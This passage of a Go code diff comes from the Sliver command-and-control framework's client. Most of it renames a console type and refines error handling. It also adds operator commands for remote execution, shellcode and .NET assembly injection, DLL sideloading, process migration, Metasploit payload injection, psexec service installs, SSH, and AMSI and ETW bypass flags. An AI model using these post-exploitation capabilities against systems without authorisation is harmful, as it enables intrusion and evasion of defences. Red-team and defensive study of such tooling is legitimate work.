*cobra.Command, con *console.SliverClient, args []string) { var ( localRefData []byte targetDLLData []byte @@ -91,7 +91,7 @@ func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("Error: %s\n", err) + con.PrintErrorf("Error: %s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/environment/commands.go b/client/command/environment/commands.go new file mode 100644 index 0000000000..6c030ae77c --- /dev/null +++ b/client/command/environment/commands.go @@ -0,0 +1,59 @@ +package environment + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + envCmd := &cobra.Command{ + Use: consts.EnvStr, + Short: "List environment variables", + Long: help.GetHelpFor([]string{consts.EnvStr}), + Args: cobra.RangeArgs(0, 1), + Run: func(cmd *cobra.Command, args []string) { + EnvGetCmd(cmd, con, args) + }, + GroupID: consts.InfoHelpGroup, + } + flags.Bind("", true, envCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(envCmd).PositionalCompletion(carapace.ActionValues().Usage("environment variable to fetch (optional)")) + + envSetCmd := &cobra.Command{ + Use: consts.SetStr, + Short: "Set environment variables", + Long: help.GetHelpFor([]string{consts.EnvStr, consts.SetStr}), + Args: cobra.ExactArgs(2), + Run: func(cmd *cobra.Command, args []string) { + EnvSetCmd(cmd, con, args) + }, + } + envCmd.AddCommand(envSetCmd) + carapace.Gen(envSetCmd).PositionalCompletion( + carapace.ActionValues().Usage("environment variable name"), + carapace.ActionValues().Usage("value to assign"), + ) + + envUnsetCmd := &cobra.Command{ + Use: consts.UnsetStr, + Short: "Clear environment variables", + Long: help.GetHelpFor([]string{consts.EnvStr, consts.UnsetStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + EnvUnsetCmd(cmd, con, args) + }, + } + envCmd.AddCommand(envUnsetCmd) + carapace.Gen(envUnsetCmd).PositionalCompletion(carapace.ActionValues().Usage("environment variable name")) + + return []*cobra.Command{envCmd} +} diff --git a/client/command/environment/get.go b/client/command/environment/get.go index cdf40aecc5..e5c185690f 100644 --- a/client/command/environment/get.go +++ b/client/command/environment/get.go @@ -21,17 +21,16 @@ package environment import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// EnvGetCmd - Get a remote environment variable -func EnvGetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// EnvGetCmd - Get a remote environment variable. +func EnvGetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -47,11 +46,11 @@ func EnvGetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if envInfo.Response != nil && envInfo.Response.Async { - con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(envInfo.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, envInfo) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -59,14 +58,13 @@ func EnvGetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri } PrintGetEnvInfo(envInfo, con) }) - con.PrintAsyncResponse(envInfo.Response) } else { PrintGetEnvInfo(envInfo, con) } } -// PrintGetEnvInfo - Print the results of the env get command -func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverConsoleClient) { +// PrintGetEnvInfo - Print the results of the env get command. +func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverClient) { if envInfo.Response != nil && envInfo.Response.Err != "" { con.PrintErrorf("%s\n", envInfo.Response.Err) return diff --git a/client/command/environment/set.go b/client/command/environment/set.go index 395d5edbd3..ccfbb5fe91 100644 --- a/client/command/environment/set.go +++ b/client/command/environment/set.go @@ -21,9 +21,8 @@ package environment import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" @@ -31,8 +30,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// EnvSetCmd - Set a remote environment variable -func EnvSetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// EnvSetCmd - Set a remote environment variable. +func EnvSetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -53,11 +52,11 @@ func EnvSetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if envInfo.Response != nil && envInfo.Response.Async { - con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(envInfo.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, envInfo) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -65,14 +64,13 @@ func EnvSetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri } PrintSetEnvInfo(name, value, envInfo, con) }) - con.PrintAsyncResponse(envInfo.Response) } else { PrintSetEnvInfo(name, value, envInfo, con) } } -// PrintSetEnvInfo - Print the set environment info -func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverConsoleClient) { +// PrintSetEnvInfo - Print the set environment info. +func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverClient) { if envInfo.Response != nil && envInfo.Response.Err != "" { con.PrintErrorf("%s\n", envInfo.Response.Err) return diff --git a/client/command/environment/unset.go b/client/command/environment/unset.go index 664497f703..6082df4efe 100644 --- a/client/command/environment/unset.go +++ b/client/command/environment/unset.go @@ -21,17 +21,16 @@ package environment import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// EnvUnsetCmd - Unset a remote environment variable -func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// EnvUnsetCmd - Unset a remote environment variable. +func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -48,11 +47,11 @@ func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if unsetResp.Response != nil && unsetResp.Response.Async { - con.AddBeaconCallback(unsetResp.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(unsetResp.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, unsetResp) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -60,14 +59,13 @@ func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } PrintUnsetEnvInfo(name, unsetResp, con) }) - con.PrintAsyncResponse(unsetResp.Response) } else { PrintUnsetEnvInfo(name, unsetResp, con) } } -// PrintUnsetEnvInfo - Print the set environment info -func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverConsoleClient) { +// PrintUnsetEnvInfo - Print the set environment info. +func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverClient) { if envInfo.Response != nil && envInfo.Response.Err != "" { con.PrintErrorf("%s\n", envInfo.Response.Err) return diff --git a/client/command/exec/commands.go b/client/command/exec/commands.go new file mode 100644 index 0000000000..892a0ffb07 --- /dev/null +++ b/client/command/exec/commands.go @@ -0,0 +1,287 @@ +package exec + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/generate" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + executeCmd := &cobra.Command{ + Use: consts.ExecuteStr, + Short: "Execute a program on the remote system", + Long: help.GetHelpFor([]string{consts.ExecuteStr}), + Args: cobra.MinimumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ExecuteCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + } + flags.Bind("", false, executeCmd, func(f *pflag.FlagSet) { + f.BoolP("token", "T", false, "execute command with current token (Windows only)") + f.BoolP("output", "o", false, "capture command output") + f.BoolP("save", "s", false, "save output to a file") + f.BoolP("loot", "X", false, "save output as loot") + f.BoolP("ignore-stderr", "S", false, "don't print STDERR output") + f.StringP("stdout", "O", "", "remote path to redirect STDOUT to") + f.StringP("stderr", "E", "", "remote path to redirect STDERR to") + f.StringP("name", "n", "", "name to assign loot (optional)") + f.Uint32P("ppid", "P", 0, "parent process id (optional, Windows only)") + f.BoolP("hidden", "H", false, "hide the window of the spawned process (Windows only)") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + executeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true + + carapace.Gen(executeCmd).PositionalCompletion(carapace.ActionValues().Usage("command to execute (required)")) + carapace.Gen(executeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to the command (optional)")) + + executeAssemblyCmd := &cobra.Command{ + Use: consts.ExecuteAssemblyStr, + Short: "Loads and executes a .NET assembly in a child process (Windows Only)", + Long: help.GetHelpFor([]string{consts.ExecuteAssemblyStr}), + Args: cobra.MinimumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ExecuteAssemblyCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + } + flags.Bind("", false, executeAssemblyCmd, func(f *pflag.FlagSet) { + f.StringP("process", "p", "notepad.exe", "hosting process to inject into") + f.StringP("method", "m", "", "Optional method (a method is required for a .NET DLL)") + f.StringP("class", "c", "", "Optional class name (required for .NET DLL)") + f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.") + f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)") + f.BoolP("in-process", "i", false, "Run in the current sliver process") + f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)") + f.BoolP("save", "s", false, "save output to file") + f.BoolP("loot", "X", false, "save output as loot") + f.StringP("name", "n", "", "name to assign loot (optional)") + f.Uint32P("ppid", "P", 0, "parent process id (optional)") + f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process") + f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)") + f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + executeAssemblyCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true + + carapace.Gen(executeAssemblyCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to assembly file (required)")) + carapace.Gen(executeAssemblyCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the assembly entrypoint (optional)")) + + executeShellcodeCmd := &cobra.Command{ + Use: consts.ExecuteShellcodeStr, + Short: "Executes the given shellcode in the sliver process", + Long: help.GetHelpFor([]string{consts.ExecuteShellcodeStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ExecuteShellcodeCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + } + flags.Bind("", false, executeShellcodeCmd, func(f *pflag.FlagSet) { + f.BoolP("rwx-pages", "r", false, "Use RWX permissions for memory pages") + f.Uint32P("pid", "p", 0, "Pid of process to inject into (0 means injection into ourselves)") + f.StringP("process", "n", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode") + f.BoolP("interactive", "i", false, "Inject into a new process and interact with it") + f.BoolP("shikata-ga-nai", "S", false, "encode shellcode using shikata ga nai prior to execution") + f.StringP("architecture", "A", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)") + f.Uint32P("iterations", "I", 1, "number of encoding iterations (used with --shikata-ga-nai flag)") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + completers.NewFlagCompsFor(executeShellcodeCmd, func(comp *carapace.ActionMap) { + (*comp)["shikata-ga-nai"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures") + }) + carapace.Gen(executeShellcodeCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shellcode file (required)")) + + sideloadCmd := &cobra.Command{ + Use: consts.SideloadStr, + Short: "Load and execute a shared object (shared library/DLL) in a remote process", + Long: help.GetHelpFor([]string{consts.SideloadStr}), + Args: cobra.MinimumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + SideloadCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + } + flags.Bind("", false, sideloadCmd, func(f *pflag.FlagSet) { + f.StringP("entry-point", "e", "", "Entrypoint for the DLL (Windows only)") + f.StringP("process", "p", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode") + f.BoolP("unicode", "w", false, "Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI)") + f.BoolP("save", "s", false, "save output to file") + f.BoolP("loot", "X", false, "save output as loot") + f.StringP("name", "n", "", "name to assign loot (optional)") + f.BoolP("keep-alive", "k", false, "don't terminate host process once the execution completes") + f.Uint32P("ppid", "P", 0, "parent process id (optional)") + f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + sideloadCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true + + carapace.Gen(sideloadCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shared library file (required)")) + carapace.Gen(sideloadCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the binary (optional)")) + + spawnDllCmd := &cobra.Command{ + Use: consts.SpawnDllStr, + Short: "Load and execute a Reflective DLL in a remote process", + Long: help.GetHelpFor([]string{consts.SpawnDllStr}), + Args: cobra.MinimumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + SpawnDllCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + } + flags.Bind("", false, spawnDllCmd, func(f *pflag.FlagSet) { + f.StringP("process", "p", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode") + f.StringP("export", "e", "ReflectiveLoader", "Entrypoint of the Reflective DLL") + f.BoolP("save", "s", false, "save output to file") + f.BoolP("loot", "X", false, "save output as loot") + f.StringP("name", "n", "", "name to assign loot (optional)") + f.BoolP("keep-alive", "k", false, "don't terminate host process once the execution completes") + f.UintP("ppid", "P", 0, "parent process id (optional)") + f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + spawnDllCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true + + carapace.Gen(spawnDllCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to DLL file (required)")) + carapace.Gen(spawnDllCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the DLL entrypoint (optional)")) + + migrateCmd := &cobra.Command{ + Use: consts.MigrateStr, + Short: "Migrate into a remote process", + Long: help.GetHelpFor([]string{consts.MigrateStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + MigrateCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + } + flags.Bind("", false, migrateCmd, func(f *pflag.FlagSet) { + f.BoolP("disable-sgn", "S", true, "disable shikata ga nai shellcode encoder") + f.Uint32P("pid", "p", 0, "process id to migrate into") + f.StringP("process-name", "n", "", "name of the process to migrate into") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(migrateCmd).PositionalCompletion(carapace.ActionValues().Usage("PID of process to migrate into")) + + msfCmd := &cobra.Command{ + Use: consts.MsfStr, + Short: "Execute an MSF payload in the current process", + Long: help.GetHelpFor([]string{consts.MsfStr}), + Run: func(cmd *cobra.Command, args []string) { + MsfCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + } + flags.Bind("", false, msfCmd, func(f *pflag.FlagSet) { + f.StringP("payload", "m", "meterpreter_reverse_https", "msf payload") + f.StringP("lhost", "L", "", "listen host") + f.IntP("lport", "l", 4444, "listen port") + f.StringP("encoder", "e", "", "msf encoder") + f.IntP("iterations", "i", 1, "iterations of the encoder") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + completers.NewFlagCompsFor(msfCmd, func(comp *carapace.ActionMap) { + (*comp)["encoder"] = generate.MsfEncoderCompleter(con) + (*comp)["payload"] = generate.MsfPayloadCompleter(con) + }) + + msfInjectCmd := &cobra.Command{ + Use: consts.MsfInjectStr, + Short: "Inject an MSF payload into a process", + Long: help.GetHelpFor([]string{consts.MsfInjectStr}), + Run: func(cmd *cobra.Command, args []string) { + MsfInjectCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + } + flags.Bind("", false, msfInjectCmd, func(f *pflag.FlagSet) { + f.IntP("pid", "p", -1, "pid to inject into") + f.StringP("payload", "m", "meterpreter_reverse_https", "msf payload") + f.StringP("lhost", "L", "", "listen host") + f.IntP("lport", "l", 4444, "listen port") + f.StringP("encoder", "e", "", "msf encoder") + f.IntP("iterations", "i", 1, "iterations of the encoder") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + completers.NewFlagCompsFor(msfInjectCmd, func(comp *carapace.ActionMap) { + (*comp)["encoder"] = generate.MsfEncoderCompleter(con) + }) + + psExecCmd := &cobra.Command{ + Use: consts.PsExecStr, + Short: "Start a sliver service on a remote target", + Long: help.GetHelpFor([]string{consts.PsExecStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + PsExecCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + } + flags.Bind("", false, psExecCmd, func(f *pflag.FlagSet) { + f.StringP("service-name", "s", "Sliver", "name that will be used to register the service") + f.StringP("service-description", "d", "Sliver implant", "description of the service") + f.StringP("profile", "p", "", "profile to use for service binary") + f.StringP("binpath", "b", "c:\\windows\\temp", "directory to which the executable will be uploaded") + f.StringP("custom-exe", "c", "", "custom service executable to use instead of generating a new Sliver") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + completers.NewFlagCompsFor(psExecCmd, func(comp *carapace.ActionMap) { + (*comp)["custom-exe"] = carapace.ActionFiles() + (*comp)["profile"] = generate.ProfileNameCompleter(con) + }) + carapace.Gen(psExecCmd).PositionalCompletion(carapace.ActionValues().Usage("hostname (required)")) + + sshCmd := &cobra.Command{ + Use: consts.SSHStr, + Short: "Run a SSH command on a remote host", + Long: help.GetHelpFor([]string{consts.SSHStr}), + Args: cobra.MinimumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + SSHCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + } + flags.Bind("", false, sshCmd, func(f *pflag.FlagSet) { + f.UintP("port", "p", 22, "SSH port") + f.StringP("private-key", "i", "", "path to private key file") + f.StringP("password", "P", "", "SSH user password") + f.StringP("login", "l", "", "username to use to connect") + f.BoolP("skip-loot", "s", false, "skip the prompt to use loot credentials") + f.StringP("kerberos-config", "c", "/etc/krb5.conf", "path to remote Kerberos config file") + f.StringP("kerberos-keytab", "k", "", "path to Kerberos keytab file") + f.StringP("kerberos-realm", "r", "", "Kerberos realm") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + sshCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true + + completers.NewFlagCompsFor(sshCmd, func(comp *carapace.ActionMap) { + (*comp)["private-key"] = carapace.ActionFiles() + (*comp)["kerberos-keytab"] = carapace.ActionFiles() + }) + + carapace.Gen(sshCmd).PositionalCompletion(carapace.ActionValues().Usage("remote host to SSH to (required)")) + carapace.Gen(sshCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("command line with arguments")) + + return []*cobra.Command{executeCmd, executeAssemblyCmd, executeShellcodeCmd, sideloadCmd, spawnDllCmd, migrateCmd, msfCmd, msfInjectCmd, psExecCmd, sshCmd} +} diff --git a/client/command/exec/execute-assembly.go b/client/command/exec/execute-assembly.go index 34f16a03ce..da665a55ee 100644 --- a/client/command/exec/execute-assembly.go +++ b/client/command/exec/execute-assembly.go @@ -33,8 +33,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// ExecuteAssemblyCmd - Execute a .NET assembly in-memory -func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ExecuteAssemblyCmd - Execute a .NET assembly in-memory. +func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -112,12 +112,12 @@ func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, ar ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } hostName := getHostname(session, beacon) if execAssembly.Response != nil && execAssembly.Response.Async { - con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(execAssembly.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, execAssembly) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -126,13 +126,12 @@ func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, ar HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, cmd, con) }) - con.PrintAsyncResponse(execAssembly.Response) } else { HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, cmd, con) } } -func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) { +func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, cmd *cobra.Command, con *console.SliverClient) { saveLoot, _ := cmd.Flags().GetBool("loot") lootName, _ := cmd.Flags().GetString("name") diff --git a/client/command/exec/execute-shellcode.go b/client/command/exec/execute-shellcode.go index 7857a9383b..eac942a926 100644 --- a/client/command/exec/execute-shellcode.go +++ b/client/command/exec/execute-shellcode.go @@ -26,19 +26,18 @@ import ( "log" "os" + "github.com/spf13/cobra" "golang.org/x/term" "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// ExecuteShellcodeCmd - Execute shellcode in-memory -func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ExecuteShellcodeCmd - Execute shellcode in-memory. +func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -83,7 +82,7 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a Data: shellcodeBin, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } oldSize := len(shellcodeBin) @@ -109,12 +108,12 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if shellcodeTask.Response != nil && shellcodeTask.Response.Async { - con.AddBeaconCallback(shellcodeTask.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(shellcodeTask.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, shellcodeTask) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -122,14 +121,13 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a } PrintExecuteShellcode(shellcodeTask, con) }) - con.PrintAsyncResponse(shellcodeTask.Response) } else { PrintExecuteShellcode(shellcodeTask, con) } } -// PrintExecuteShellcode - Display result of shellcode execution -func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient) { +// PrintExecuteShellcode - Display result of shellcode execution. +func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverClient) { if task.Response.GetErr() != "" { con.PrintErrorf("%s\n", task.Response.GetErr()) } else { @@ -137,7 +135,7 @@ func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient } } -func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) { +func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverClient) { // Check active session session := con.ActiveTarget.GetSessionInteractive() if session == nil { @@ -153,7 +151,7 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r SessionID: session.ID, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } @@ -166,7 +164,7 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r TunnelID: tunnel.ID, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } // Retrieve PID and start remote task @@ -185,7 +183,7 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/exec/execute.go b/client/command/exec/execute.go index c71e424f06..fd2be3f74d 100644 --- a/client/command/exec/execute.go +++ b/client/command/exec/execute.go @@ -23,9 +23,8 @@ import ( "strings" "time" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/command/loot" "github.com/bishopfox/sliver/client/console" @@ -33,8 +32,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// ExecuteCmd - Run a command on the remote system -func ExecuteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ExecuteCmd - Run a command on the remote system. +func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -94,12 +93,12 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } if exec.Response != nil && exec.Response.Async { - con.AddBeaconCallback(exec.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(exec.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, exec) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -107,13 +106,12 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str } HandleExecuteResponse(exec, cmdPath, hostName, cmd, con) }) - con.PrintAsyncResponse(exec.Response) } else { HandleExecuteResponse(exec, cmdPath, hostName, cmd, con) } } -func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) { +func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, cmd *cobra.Command, con *console.SliverClient) { var lootedOutput []byte stdout, _ := cmd.Flags().GetString("stdout") saveLoot, _ := cmd.Flags().GetBool("loot") @@ -136,8 +134,8 @@ func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName stri PrintExecute(exec, cmd, con) } -// PrintExecute - Print the output of an executed command -func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.SliverConsoleClient) { +// PrintExecute - Print the output of an executed command. +func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.SliverClient) { ignoreStderr, _ := cmd.Flags().GetBool("ignore-stderr") stdout, _ := cmd.Flags().GetString("stdout") stderr, _ := cmd.Flags().GetString("stderr") @@ -210,7 +208,7 @@ func combineCommandOutput(exec *sliverpb.Execute, combineStdOut bool, combineStd return []byte(outputString) } -func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, 